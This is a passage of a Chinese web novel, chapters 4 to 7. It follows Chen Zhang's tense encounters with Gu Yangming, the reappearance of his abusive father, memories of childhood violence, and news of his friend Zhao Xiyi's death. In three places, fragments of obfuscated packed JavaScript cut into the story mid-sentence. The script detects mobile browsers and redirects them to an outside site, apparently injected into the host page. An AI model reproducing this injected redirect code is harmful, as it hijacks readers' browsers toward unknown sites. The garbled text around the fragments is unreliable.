柚木表面被打磨得如海洋般光滑,木料本身的水波纹理与鲲的形态浑然天成,体现“自然为本,雕琢为辅”的理念。 陈璋随口问:“都是手工雕的?” 顾扬名走到他身边,“嗯,一楼陈列的都是手工雕刻,楼上有机器雕的。” 汤佳边拍边问:“顾总,您主要做机器雕刻吗?” “可以这么说,人工雕刻耗时耗力,成本太高,现在很少有人能承担得起。” 明明是汤佳问的,顾扬名却是对着陈璋说的。 陈璋看着满墙的木雕,有些出神。 蓉城虽有木雕传统,但发展严重受阻,只剩一些老手艺人坚守,年轻人大多耐不住性子学,三分钟热度居多。 他想起赵希一的外公赵国林,就是个老木匠。 陈璋与赵希一的第一次见面,也正是因为赵国林,可惜很早就去世了。 陈璋正想得出神,顾扬名的声音忽然将他拉回现实。 “陈璋?” 陈璋蓦地回神,下意识应道:“怎么了?” “要上去看看吗?”顾扬名笑着问他。 陈璋点了点头,目光追着已经走到前面的汤佳,却见她突然接起一个电话。 汤佳看着手机,犹豫了一会才接。 “你不是说今天不来吗?” “别以为你来找我,我就会轻易原谅你。” “谢允,我说了,没有一周时间我是不会原谅你的。” “行了,我下来接你。” 汤佳挂断电话,走到陈璋的前面,把手里的摄像机塞给陈璋,“哥,谢允来了,我去接他一下。” 陈璋嗯了一声,刚接过设备,就见汤佳已经小跑着往外去。 他在身后叮嘱,“别跑,小心摔着。” 汤佳没应声,但脚步明显慢了下来,只是刚走到转弯处,一离开陈璋的视线,她又忍不住跑了起来。 顾扬名在一旁轻笑,“男朋友?” 陈璋想了想,“算是预备男友吧,还在考验期。” “那你谈过恋爱吗?” 顾扬名问得突兀,让陈璋猝不及防。 陈璋沉默一瞬,“......顾总似乎对我过于关心了?” “我只是对我哥的一切都很好奇。”顾扬名依旧笑着。 “可我对顾总并不好奇,所以也请顾总不必对我如此关注。”陈璋眼神微冷,语气也淡了下来。 “但你对赵希一好奇,不是吗?”顾扬名不急不缓,“你想知道什么,我都可以告诉你。” 陈璋忽然意识到每当他有些抗拒的时候,顾扬名总会用赵希一的话题来缓和局面。 这人到底想做什么? 顾扬名察觉到出陈璋的排斥,适时提议,“要不先去我办公室坐坐?边等你妹妹,你也好放下这些东西。” 他没给陈璋拒绝的机会,转身便走在前带路。 陈璋轻叹一声,跟了上去。 顾扬名的办公室基本已装修完毕,风格符合陈璋的想象。 低调中透着奢侈,墙上错落有致地挂了许多小巧的木雕作品。 顾扬名沏了一壶茶,推到他面前,“尝尝,这个不错。” 陈璋瞥了一眼,“谢谢,我不爱喝茶。” 茶总是苦的,尤其是刚泡开的。 顾扬名却执意将茶杯轻轻推近,“甜的。” 陈璋低头看了一眼。 甜的? “真是甜的,”顾扬名看出他的怀疑,“这是金骏眉,红茶的一种。” 陈璋半信半疑地端起抿了一口,眉头微微舒展,竟然真是甜的,没有丝毫苦味。 “好喝吗?”顾扬名问。 “还行。”陈璋语气依旧平淡。 顾扬名眼里却亮起一丝光,“我这儿还有别的红茶,要再试试吗?” 陈璋抬眼,“谢谢,不用了。” 顾扬名有些遗憾,轻声应道:“好吧。” 办公室只有陈璋和顾扬名两个人,陈璋觉得空气凝滞,尴尬无声。 他几次不自觉地看向门口,又瞥向手机。 顾扬名看出他的不自在,指了指窗外,“从这儿能看到楼下,你可以看看他们到哪儿了。” 陈璋没推辞,起身走到窗边,目光向下扫去,果然看见汤佳和谢允正在楼下与人交谈,但那人背对着他,看不清面容。 可是仅仅只是一个背影,就让陈璋感到一阵莫名的不适。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201103|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他立刻拿出手机,拨通了汤佳的电话。 电话接通的瞬间,楼下与汤佳对话的男子恰好转过身,露出了正脸。 “喂,哥,怎么了?”汤佳的声音从听筒里传来。 陈璋却骤然失声,只是死死盯着楼下那张转过来的脸,看着他笑着朝汤佳摆手道别,然后转身离去。 “喂?哥?听得到吗?” 汤佳听不到回应,以为是信号问题,喂了几声后便挂断了电话。 顾扬名不知何时也走到了窗边,站在陈璋身旁,忽然开口:“你认识他?” 陈璋猛地回头,眼神里充满了警惕,“为什么这么说?” “你妹妹不是在和他说话吗?”顾扬名语气平常。 陈璋周身的气息却瞬间冷了下去,生硬地回答,“不认识。” 这时,汤佳的电话又打了过来。 陈璋接通。 “哥,你刚才打电话什么事?信号不好吗?” “没什么,”陈璋语气故作轻松,“刚刚在楼下和你说话的人是谁?” 汤佳抬头环顾,大概猜到陈璋从楼上看见了,“哦,一个叔叔,妈妈介绍认识的,刚巧碰上,就打了个招呼。” 陈璋的语气不自觉变得沉下去,“妈介绍的?什么时候?” “大概半年前吧。”汤佳觉得有些奇怪,“哥,你认识他?” “不认识。”陈璋再次否定,语气生硬,“你快上来吧,拍完早点回去。” 汤佳听出他语气不对,以为他和顾扬名之间发生了不愉快,连忙应道:“好,我马上就来。” 挂断电话,陈璋看着汤佳拉着谢允走进大楼,这才微微松了口气。 一转身,却发现顾扬名正静静地看着他。 陈璋极度不喜欢顾扬名此刻的眼神。 里面明晃晃的是那种毫不掩饰的探究,像是在一寸寸丈量他心底最隐秘的角落,让他感到自己的界限被粗暴地踏过。 世上哪有这么多巧合? 昨天在银行撞见一个和赵希一如此相像的人,这人又接二连三地出现在他面前,这些都算了,偏偏还让他看见了那个“烂人”。 这一切让陈璋的心情糟糕透顶。 对于陈璋来说,他的生活是一条能望到头的平坦公路,稳定胜过一切,他抗拒任何变数。 可如今,这条路上竟接二连三地浮现出早已被他从生命中抹去的身影。 他强烈地感觉到他的生活将会失控。 “顾扬名,你到底想干什么?” 他不再迂回,撕下所有的客套,甚至将最后一点虚伪的恭敬也撕掉,直呼其名。 顾扬名明显一愣,“我......你怎么了?” “你从一开始就认识我,对吧?”陈璋直白犀利,一把刀给两人划开了界限。 顾扬名眼神微动,那一瞬间的迟疑,仿佛担心什么被戳穿。 陈璋步步紧逼,撕开他觉得不合理的一切。 “昨天在银行,我问你认不认识赵希一,你丝毫不惊讶,你不觉得你的反应平淡得可疑吗?” “晚上,你又恰好出现,硬要送我回家,包括现在,顾总,你不觉得这一切都太巧了吗?” 陈璋的直觉向来很准,连珠炮似的质问让顾扬名有些措手不及。 顾扬名稳了稳心神,解释道:“陈璋,我没有别的意思,只是......只是想和你交个朋友。” “我确实听过哥提过你的名字,所以看见你的名字后,我就猜出来了。” “你是我哥的朋友,我只是想......留住一点我哥曾经拥有过的痕迹,像我哥一样,是你的朋友。” “曾经拥有过的?”陈璋低声重复,嘴角扯出一抹苦涩勉强的笑,说出口的话却更加残忍。 “那你哥有没有告诉过你,我不配拥有真正的朋友。” 他抬眼直视顾扬名,目光疏离,语气里却压着不甘,“这话是他亲口对我说的,我觉得他说得对。” 5. 第五章 顾扬名还想说些什么,可陈璋已经不愿再听。 “顾总,我先走了,谢谢你的茶,很好喝。” 顾扬名望着陈璋转身离去的背影,很瘦,很可怜,一个近一米八的男人,此刻却让他觉得就像一个易碎品。 他不敢再贸然开口,局面与他预想的截然不同。 如今的陈璋,比从前更难接近。 他像一只刺猬,不仅周身竖起了坚硬的刺,更在四周布满了透明的玻璃碎片。 旁人无法靠近,他自己也困守其中,伤人,亦伤己。 顾扬名心中五味杂陈。 初次重逢时,他是带着预谋的。 那时陈璋站在银行大厅里,面色平静无波,仿佛什么都惊不起他心湖的一丝涟漪,就像是一潭死水。 那份平静让顾扬名心生不平,他一度想打破那层外壳。可当真正触及到这层外壳之后,他却并未感到丝毫快意。 为什么? 为什么你会变成这个样子? 陈璋,当初是你先抛下我的,可为什么现在看来,你比我更痛苦? 直到陈璋的身影彻底消失在视线尽头,顾扬名才缓缓坐下,坐在了陈璋刚才的位置上。 他端起那只陈璋用过的茶杯,杯壁还有着茶水的温热,边缘一处,隐隐可见淡淡的水痕。 顾扬名将茶杯轻抵鼻尖,茶香幽幽。随后,他的嘴唇覆上那道水痕所在的位置,将杯中残存的茶汤一饮而尽。 很甜。 可是,还不够甜。 - 陈璋刚走到电梯口,梯门便打开了,里面是汤佳和谢允。 汤佳被吓了一跳,“哥,你去哪儿?” 陈璋侧身走进电梯,“有点不舒服,我先回车里休息,你的设备在顾总办公室,拍完早点下来。” 汤佳心里咯噔一下,她哥和顾总之间果然不对劲。 她还没来得及细问,电梯门已然关闭。 一直沉默的谢允这才低声开口:“你哥好像......比以前更吓人了。” 谢允是有些惧怕陈璋的,主要因他身上总带着一股压抑的气场,说得难听些,就是阴沉沉的,有一种即将下暴雨的前兆。 汤佳生得明媚,性格也开朗,与陈璋截然不同。 谢允自己性格内敛,面对程度比他深上千倍的陈璋,两人更是几乎无话可谈。 汤佳不喜欢任何人议论陈璋,即便谢允的话并无过分之处。 “不会说话就别说!我还觉得你比以前更烦人呢!” 谢允自知失言,连忙道歉:“对不起。” 汤佳没好气地走在前面。 即便陈璋的情绪不形于色,却仍然影响到了汤佳。 以至于当她再次见到顾扬名时,纵然对方容貌出众,她也全然没了欣赏的心情。 汤佳敲响了办公室的门,“顾总,我来拿设备。” 顾扬名正在整理东西,“好,我让人带你们参观,你们待会直接去602办公室就行,我刚好有点事,陪不了你们了。” 这次拍摄本就是政府教委联合的一次宣传,他本应该出面的。 “好的,麻烦顾总了。”汤佳示意谢允进去拿设备。 谢允不敢多话,进去拿了设备就快步出来。 临走前,汤佳还是忍不住问了一句:“顾总,您刚才......和我哥没发生什么不愉快吧?” “当然没有。”顾扬名微笑着回应。 汤佳得到回答后才离开。 谢允小声嘀咕:“他不说话的时候,那长相我还以为是女的......” 汤佳轻拍了他一下,让他闭嘴。 - 陈璋一路阴沉着脸回到车上。 他觉得呼吸不畅,胸口发闷,像有块咽不下去的苹果哽在喉咙,吐不出也咽不下。 他趴倒在方向盘上,努力平复翻涌的情绪。 十几分钟后,陈璋拿出手机,指尖在联系人“王知然”的名字上停留许久。 打吗? 可打了又能问什么? 王知然既然瞒着他,就是不想让他知道。 但为什么不能让他知道? 他们甚至半年前就已经有了联系。 这么多年相安无事,互不打扰,为什么那个人偏偏现在出现? 陈璋觉得头痛欲裂,仿佛有人拿着钉锤在他太阳穴上一下下敲打,密集的痛感传遍全身。 最终,他还是拨通了电话。 王知然似乎很忙,电话那头人声、车声嘈杂,但她还是很快接了起来。 “怎么了?”王知然问。 陈璋张了张嘴,最终直白地问道:“陈远川回来了,你为什么不告诉我?” 电话那头陷入一片沉默。 原本的喧闹声渐渐变小,王知然似乎走到了一个没人的地方。 她犹豫了片刻,才开口:“他......找你了?” 陈璋固执地重复:“你为什么不告诉我,他回来了?” “我、我是想着,以前一提他,你就不说话......就没说。”王知然语气有些无力。 “那你为什么和他联系?你忘了他当初是怎么对你的吗?”陈璋情绪有些失控,但仍极力克制着语气,“你忘了他是怎么对我的吗?” 王知然苍白地解释:“可他......毕竟是你的爸爸。” “陈璋,都过去这么多年了,你放下吧。” 陈璋冷笑了两声:“爸爸?他配得上这两个字吗?” “当初他把你打跑,我连见你一面都见不到。你走后,他打了我整整八年!要不是他欠债跑路,我可能早就被他打死了!” “你为什么能原谅他?” “你为什么要原谅他?” 王知然不知该如何回应。 她不是个好母亲,她给予陈璋的爱少得可怜,甚至可以说几乎没有。 她没有资格对陈璋再多说什么。 就在陈璋以为王知然无言以对,沉默着准备挂断电话时,她却突然开口:“他要死了。” “那就让他去死。”陈璋几乎是下意识地脱口而出。 王知然有些震惊,“陈璋,他是你爸爸,你怎么能说这样的话?” “这样的话?什么样的话?”陈璋反问,“恶毒的话吗?这也算恶毒吗?” 王知然难以置信,“我记得你以前是个很善良的孩子。” “善良?你眼中的善良就是顺从、软弱?那我宁愿不要这种善良。”陈璋的声音冷硬,“我就是希望他去死,他早就该死了。” 陈璋无法再说下去。 他害怕自己会说出更难听的话,因为一个人的过错,导致另外两人恶语相向,是种悲哀。 他不愿如此,却已经这样做了。 车窗外是晴天,不温不冷的天气,多穿一件嫌热,少穿一件嫌冷。 陈璋就这样静静坐在驾驶座上。 期间王知然打来许多电话,发来许多消息,他都没有理会。 他不知道该如何回应,他似乎永远学不会处理这样的事。 就像他始终无法理解,为什么王知然还会愿意与陈远川保持联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201104|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系。 直到汤佳带着谢允敲响了车窗。 陈璋已经能够面无表情地面对所有人,这是他最擅长的事。 如同一个情绪可调的机器人,这也是他一直以来所期望的状态。 汤佳面露担忧,“哥,你没事吧?” “没事,”陈璋摇头,“拍完了吗?” 汤佳犹豫着开口:“你和顾总......” “上车吧,我还有事。”陈璋不想听她提起顾扬名,直接打断,甚至关上了车窗。 汤佳与谢允对视一眼,不敢多言,只好上车后用手机悄悄交流。 大多数时候,汤佳能与陈璋像普通兄妹一样相处,但前提是陈璋愿意。 因为他与谁都不亲近,这一点让汤佳很难过。 这种压抑的状态,陈璋一直持续到晚上。 他终于点开了王知然的微信,里面有很多条语音。 他不想听。 最后,他只发去一行字。 -对不起,妈,我不应该那样说话。 陈璋怀着不甘与愧疚发出那条消息,随后平静地躺倒在床上。 他双臂环抱自己,右手无意识地抚过左臂上一道旧伤痕。 陈璋身上散布着大大小小的疤痕,大多是在小学时期留下的。 自从陈远川和王知然分开后,陈远川的酗酒和家暴成了家常便饭,而陈璋成了唯一的出气筒。 有一次,他被打得实在受不了,拼命逃跑,一路跑到赵家求救。 赵希一紧紧抱住他,连声安慰:“别怕。” 最后,赵希一的妈妈带着陈璋去报了警。 这件事闹得很大,整个村子人尽皆知。 然而,没有人同情陈璋。相反,每个人都来劝他。 “陈璋,那是你爸爸呀!你怎么能报警?” “陈璋,家和万事兴,你妈跑了以后,都是你爸把你拉扯大的。” “陈璋,我小时候也是被爸爸打大的,等你长大就明白他是为你好。” “陈璋......” 每一张嘴里吐出的话语都像恶魔的低语,一点点吞噬着陈璋。 他变得麻木,他不知道这样算不算不孝,他只是真的不想要这样的爸爸。 就在陈璋快要妥协时,赵希一和他的母亲出现了。 他们像一束光、一位救世主、一口清泉,拯救了在沙漠中濒临绝望的陈璋。 他听见赵希一大声说:“你们都出去!” “你们都是坏人!” “谁再来我家,我就报警把你们都抓走!” 赵希一抱着颤抖的陈璋,坚定地告诉他:“别怕,陈璋,有我在,绝不会让人欺负你。” 陈璋把脸埋在手心里,泪水止不住地流下。 然而事情最终并没有得到解决,陈远川很快就被放了出来。 陈璋麻木地等待着更黑的深渊降临,只记得赵希一始终紧握他的手,带着他一次次逃跑,逃向那个能给他片刻安宁的赵家。 陈璋点开顾扬名的微信,没有新的消息。 经过白天那番尖锐的对话,对方大概也很难再主动联系了吧。 这样也好。 陈璋无力地想,毕竟当初,在赵希一最需要人站出来的时候,他选择了沉默。 压抑已久的泪水终于决堤。 陈璋无法抑制地哭泣,直到全身脱力,直到声音嘶哑,直到迷迷糊糊地睡去。 他没能看见,就在他入睡后不久,顾扬名发来的最新消息: -陈璋,那句话也许只是我哥的气话。 6. 第六章 天未破晓,夜色正浓。 陈璋一夜都睡得极不安稳。 他梦见陈远川举着木棍在后面追他,嘴里反复念叨。 “我是你爸!我都要死了,你为什么不来看我!” “为什么不来看我?” “为什么不来看我?” 陈璋拼命地跑,却怎么也跑不出那个村子。 梦里的土路被无限拉长,他试图钻进岔路、窜上田埂、跳下河岸,还没有逃掉却觉得双腿越来越沉,他走不动了,跑不动了。 就在他要放弃挣扎,认命的时候,一辆三轮车“吱呀”一声,停在他面前。 他打眼一看,是赵希一。 赵希一抿着唇,一言不发。 陈璋只好咬了咬牙,手脚并用地爬上了车。 他的心脏还在狂跳,以为逃出生天,转眼间发现赵希居然将他送到了家门口。 陈远川就杵在门口,双目圆瞪,嘴里不停地咒骂。 陈璋想跳车逃跑,一低头,却骇然看见他的双腿上满是被刀反复砍过的样子。 他逃不了了。 随后,他听见赵希一冷冷地说:“陈璋,我不会再带你跑了。” ...... 陈璋猛地惊醒,胸腔回鸣着心跳声,浑身冷汗,喉咙有着吞了刀片般的灼痛,他抬手摸了摸额头,应该是发烧了。 虽然实在想不通是怎么感冒的。 他挣扎着伸手去够床头柜上的手机想看时间,却手臂一软,手机“啪”地一声直接摔在了地板上。 等他开灯,弯腰捡起来,屏幕已经碎了。 看着这只用了四个月的手机就此“殒命”,陈璋心里一阵钝痛,随即是一股莫名的焦虑。 屏幕下半部分完全花了,勉强能认上面的时间:02:32。 他依稀记得是接近一点才睡着的,竟然只睡了不到两小时。 现在更是彻底睡不着了。 陈璋颓然坐在床沿,叹了口气,梦中的画面不受控制地在脑中反复回放。 他无力地用指节敲了敲额角,试图让混沌的脑子清醒些。 最后,他认命地起身,去客厅抽屉里翻出一包未过期的感冒灵颗粒,就着杯子里隔夜的冷水,仰头吞了下去。 头疼欲裂,身体发热,睡意荡然无存。 陈璋索性打开电脑,登录了那个很久没用的自媒体账号。 大学时他喜欢拍照,只拍景物,不拍人,拍得最多的是寺庙。 他喜欢去寺庙,喜欢闻香火的气味,会捐些香火钱,会恭敬地拜佛,但从不许愿。 小时候,有一年过年是在赵家过的,原因是陈远川赌钱输了,喝个烂醉,把陈璋打了一顿。 赵家有个习俗,大年初一必去寺庙烧香,陈璋也跟着去了。 那是陈璋第一次进寺庙。 庙里平日只有几位僧人清修,过年时却人头攒动,大多是返乡的乡邻,热闹非凡。 赵希一拉着陈璋,将点好的三炷香塞到他手中,“一起许个愿吧,我妈说只要心诚,佛祖一定会帮你实现。” 陈璋接过那三根细长的香,点燃的香头红星点点,缕缕青烟袅袅升起,带着独特的气味漫入他的心间。 他觉得这气味很好闻,莫名地叫人安心。 他学着赵希一的模样,双手持香,恭敬地躬身,拜了三拜。 他在心中默念:我要和赵希一永远在一起。 随后,他走上前,郑重地将香插入厚厚的香炉之中。 赵希一瞧见陈璋那般虔诚专注的神情,忍不住凑近他耳边,小声问:“你许了什么愿呀?” 陈璋紧闭着嘴,用力摇头,不肯说。 他才不要告诉赵希一,他听说愿望说出来就不灵了,这个道理他懂的。 赵希一的妈妈见两个小家伙凑在一起嘀嘀咕咕,笑着叮嘱,“许什么愿都行,但要是将来愿望成真了,可要记得每年都回来还愿呀。” 只可惜,陈璋始终没有等到还愿的那一天。 他再也没去过那座寺庙,也从此,不再对任何神佛许愿。 陈璋滚动鼠标,浏览着自媒体账号里一张张不同寺庙的照片,鬼使神差地,他点开了私信列表,里面堆积了不少陌生人的留言。 他挑了几条礼貌性地回复,忽然注意到一条询问寺庙的私信。 对方问:【你好,打扰了,我看博主去过很多寺庙,IP又是在蓉城,请问你知道蓉城有个寺庙叫昙华寺吗?这个寺庙还在吗?】 陈璋点进对方主页,发现是一个IP定位在瑞士的中国留学生。 是蓉城人吗? 不对,如果是蓉城人,应该不需要来问他这个问题。 他想了想,回复:【应该还在的。】 昙华寺位于蓉城景区附近。 近几年蓉城的旅游业发展相当不错,连带景区周围许多乡镇都借着这股东风发展起来了,这个寺庙应该也不会倒闭。 这点陈璋还是从王知然那里听说的,因为部分旅游专线客运业务正是王知然公司在运营。 消息回过去不久,便收到了回复。 陈璋看了眼时间,对方在瑞士,此刻确实不算晚。 对方说:【谢谢!请问你有这个寺庙的照片吗?】 陈璋回得很快:【不好意思,我没有这个寺庙的照片。】 对方又问:【那你有寺庙的具体地址吗?我在地图上没搜到。】 陈璋微微皱眉,在电脑上查了一下,发现确实找不到明确的位置信息。 或许是因为寺庙太小,不太出名吧。 他没再细究,回复道:【你可以先到白马村,这个寺庙就在这个村子里。】 对方没再追问,只回了一句:【谢谢。】 这个小插曲让陈璋突然冒出一个念头,离职后,他或许可以再做点别的事。 王知然平时管理车队很忙,精力有限,很难面面俱到。 自从蓉城旅游业发展起来,陈璋没少在网上刷到关于本地旅游的各种差评。 无论是住宿、司机服务态度还是美食推荐,都是常见的问题。 他自己这个账号原本只是随手记录照片,几年下来也积累了两万多粉丝,数量不多,但或许够用了。 他打算利用这个账号宣传蓉城景区,吸引游客,甚至可以考虑为游客提供摄影服务。 想到就做,陈璋把之前拍过的蓉城市区及景区的照片置顶,附上简要说明,欢迎有兴趣的人咨询。 为了扩大宣传,他干脆熬夜剪了一支展现蓉城风光的短视频,定时发布。 等忙完这些,窗外的天色已经泛起了鱼肚白。 陈璋筋疲力尽地倒头就睡,再醒来已经是下午了。 他简单洗漱后,拿着屏幕碎裂的手机出门维修。 - “多少钱?” “五百。” 陈璋仔细检查,确认手机功能都正常后,便付了钱。走出维修店,他点亮屏幕,微信图标上弹出好几条未读消息。 消息最多的是王知然。 陈璋深吸一口气,点开了她的语音。 “你打算什么时候辞职?” 语音里没有提及陈远川,陈璋莫名松了口气。 他继续往下听。 “最近我有点忙,你离职手续办完后告诉我一声,我好安排。” “陈璋,你也这么大了,我不多说别的,但是陈远川......” 陈璋直接按掉了语音,不想再听下去,心情起起伏伏,他就知道没那么简单。 他无法接受王知然的劝说,也同样说服不了她。 他不想将与王知然的交流变成一场彼此说服的辩论赛。 当普通交流变成双方都在强求对方接受自己的想法时,便失去了意义。 继续往下翻,陈璋惊讶地发现,顾扬名昨晚居然也发来了消息。 那时他已经准备睡觉,没看手机,错过了。 -陈璋,那句话也许只是我哥的气话。 陈璋有些愣神,对着这行字犹豫了许久,只简短地回了两个字: -谢谢。 他没想到顾扬名会来安慰他。 但转念一想,对方毕竟是赵希一的表弟,血脉相连,加上两人关系似乎一直不错,大概也有些相似之处吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201105|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>比如,都如此“大度”,善于宽慰人。 他感谢顾扬名的安慰,可心里却无比的清楚,哪怕是气话,那也是真话。 此外,汤佳也给他发了不少消息,全是笨拙的安慰话,最后还附带了一个名为“开心”的红包。 陈璋有些哭笑不得。 汤佳还真是一点没变,从小就这样。 那时他刚来汤家,人生地不熟,沉默寡言。 王知然叮嘱汤佳要照顾好这个哥哥,汤佳一脸严肃地点头答应。 后来她大概是学了汤勤为,不太会安慰人,又怕说错话,每当察觉陈璋情绪低落,就会拿一张红色的钞票,塞进他的手里。 陈璋没有收红包,回了消息。 -我真的没事,以后别见人不开心就给钱,自己留着花。 汤佳很快回复。 -我比你有钱。 -我爸最近总想见我,没事就给我转钱。 -你说我要不要见他? 因为王知然的缘故,汤佳除了过年过节,平时不爱见汤勤为,理由是:嫌他太爱说教。 陈璋笑着打字。 -他是你爸爸,没什么过不去的 字打到一半,他突然顿住,这话怎么听起来像是在说他自己? 他默默删掉,重新输入。 -我也不知道。 是的,他也不知道。 他自己都一团糟,根本没资格劝别人什么。 陈璋在路边买了点吃的就回去了。 星阳小区这套房三室一厅,九十平米,不算大。其中一间尤其小,是王知然自己住的,最大的那间留给了汤佳,陈璋住中间的那间。 王知然在感情上给得稀薄,但在物质上,却从未亏待过他。 陈璋继续躺尸,周一一大早,他去了总行办理离职。 他没告诉行里其他同事。 不熟,也觉得没必要。 手续办得很顺利,没有任何阻碍。 原因有二:一是陈璋刚工作不久,根基不深,他以学历深造为由提离职;二是上个月隔壁行有个新人跳河了,具体原因不明,但听张叔说,是压力太大,又替上司背了黑锅。 虽然真相不清,但对外多少有些影响,比如现在行里对新人的宽容度明显高了。 办完所有手续,陈璋给王知然发了条消息告知。 刚发完,一抬头,面前缓缓停下一辆熟悉的车。 车窗降下,露出顾扬名的脸。 陈璋觉得见鬼了,真该去庙里拜一拜了,正好,可以借机回一趟昙华寺看看。 “顾总,好巧。”陈璋礼貌打招呼。 顾扬名挑眉,“不巧,看见你从里面出来,才停的车。” “......顾总有什么事吗?”陈璋语调平淡地问。 顾扬名说:“要不上车聊?这里不让停私家车。” 陈璋脸上挂着假笑,同样的戏码,顾扬名还真是玩不腻。 他暗暗深吸一口气,安慰自己:免费搭车回家,也行。 上车后,顾扬名一边打方向盘一边问:“你怎么跑总行来了?不是在网点上班吗?” 陈璋看着车窗外飞速倒退的街景,“来办离职手续。” 顾扬名轻啧一声,“那我之前在你那儿买的理财怎么办?” “没事,到期之后你直接提出来就行。”陈璋公事公办地回答。 “不是,我是问绩效算谁的?你离职了,这个月工资拿不到了吧?”顾扬名侧头看他,“这样的话,能把我的理财退了吗?” “我不想让别人赚这笔钱。” 陈璋真的沉默了,过了一会儿才问:“顾总,你是认真的吗?” 顾扬名点头,语气理所当然,“对呀,你不是和那个杜彬不和吗?这钱我不想让他赚。” 陈璋:“你还在乎这点钱?” 顾扬名:“我不在意,但是你在意呀!” 陈璋嘴硬道:“我也不在意。” 顾扬名轻笑一声,追问:“你不在意?那你之前打他干什么?” 陈璋:“......”他无言以对,真的,必须去寺庙拜一拜了。 7. 第七章 “你看见了?还是他告诉你的?”陈璋语气里有着一丝被拆穿后的愠怒,手指不自觉地收紧。 顾扬名解释道:“意外撞见的,我的车就停在你们网点后面。” 陈璋深吸一口气,他也不明白自己为何会感到心虚,或许是因为长久以来维持的表象被突然戳破,生出一种无处遁形的窘迫。 但无论在哪个年纪,“打人”这件事听起来总不那么光彩。 他沉默着望向车窗外,不知该如何回应。 顾扬名却没有放过他,继续追问:“所以,你到底为什么打他?” 陈璋转回头,挑眉反问:“顾总就这么想知道?” “就当是我买的这个消息吧。”顾扬名在言语上让步,“好歹绩效算在了他头上,我作为消费者,总该有点知情权吧?” 陈璋多看了他两眼,最终淡淡道:“其实没什么,就是看他不顺眼。” “我心情不好,觉得这份工作不适合我,想离职,他恰好撞枪口上了。” “他说话难听,就打了。” 顾扬名点点头,又问:“那你离职之后打算做什么?” 陈璋有些抵触了,“顾总,你是查户口的吗?” “不是,只是想了解一下。”顾扬名语气平和,“陈璋,你真的没必要这么抵触我。不管我是谁、想做什么,你作为一个步入社会的成年人,总免不了和人打交道。” “银行的确需要八面玲珑的人,你或许不适合。但这世上,有什么工作是完全不需要与人交往的呢?” “我觉得我这个人还算不错,至少长得不差,也有点钱。不管你以后做什么,交我这个朋友,总没坏处。” 陈璋听完,竟难得生出一丝调侃的心思,“你好像我妈。” 顾扬名:“......我就当你是夸我了。” “其实你说得很有道理。”陈璋这句话是真心实意的。 内敛、少言、孤僻......这些词是陈璋最常听到的评价,即便在大学那段最自由的时期也不例外。 无论做什么,他总是独来独往。 倒不是被孤立,他也可以与人谈笑、打游戏、吃饭,但这一切都建立在他人主动的基础上。 只要没人靠近,他绝不会向前一步。 大多数时候,他习惯了一个人。 大四那年,学院要求填写去向表,陈璋是最后一个交的,他不知道自己想做什么。 直到辅导员来催,他才随手勾了“就业”。 后来的校招,他也只是随大流去看了看。 陈璋大学读的是金融,最顺理成章的去处就是银行。 那天校招刚好就有有银行来招人,他填表、面试、入职,一气呵成。 直到收到录用通知,他才告诉王知然,而王知然的第一句话是:“陈璋,这个工作不适合你。” 不适合吗?的确不适合。 但陈璋还是去了。 结果,显而易见。 陈璋沉默片刻,说道:“应该会去我妈的公司上班吧。” 听到这个回答,顾扬名暗自松了口气,他知道陈璋这算是接受了“做朋友”的提议。 因为在很久以前,陈璋也是这样默许的。 顾扬名问:“什么公司?如果你愿意,来我这里也行。” 陈璋摇头:“谢谢,不过不用了,是一家客运公司,我妈一直想让我帮她,这么多年她也挺累的,我应该分担一些。” 顾扬名语气略带遗憾,“行,那有机会合作。” “应该没什么机会。”陈璋实在想不出木雕公司和客运公司能有什么合作。 客运不是货运,载人不是载物。 顾扬名笑了笑,没再接话。 车内一时安静下来。 陈璋望着窗外明朗的天色,心情也稍微轻松了些。 他轻声问道:“你能告诉我,赵希一到底是怎么回事吗?” 顾扬名略带调侃:“我还以为只要我不提,你就不会问。” 陈璋没有回应。 顾扬名继续道:“其实也没什么,人在陌生环境里容易压抑,更何况是在国外,具体细节我不清楚,但我知道他想回国。” “不过没成功,也许是抑郁了吧。” “最后,他选择了自杀。” 陈璋沉默了很长时间。 自杀,自己结束自己的生命吗? 他很不喜欢这个词。 “不是的,”他忽然开口,声音很低,“不是自杀。” “什么?”顾扬名一时没反应过来。 陈璋眼底有些水光,却没有落下来,“是病逝,抑郁,是一种病。” 他重复道,语气坚定,“所以不是自杀,是病逝。” 车内顿时安静下来,顾扬名也怔住了。 车外传来鸣笛声,红绿灯交替,行人来来往往。 他们经过两个十字路口,等了一个红灯,大约十分钟后,顾扬名才再次开口。 “按你的说法,其实也不算病逝。” 陈璋问:“为什么?” 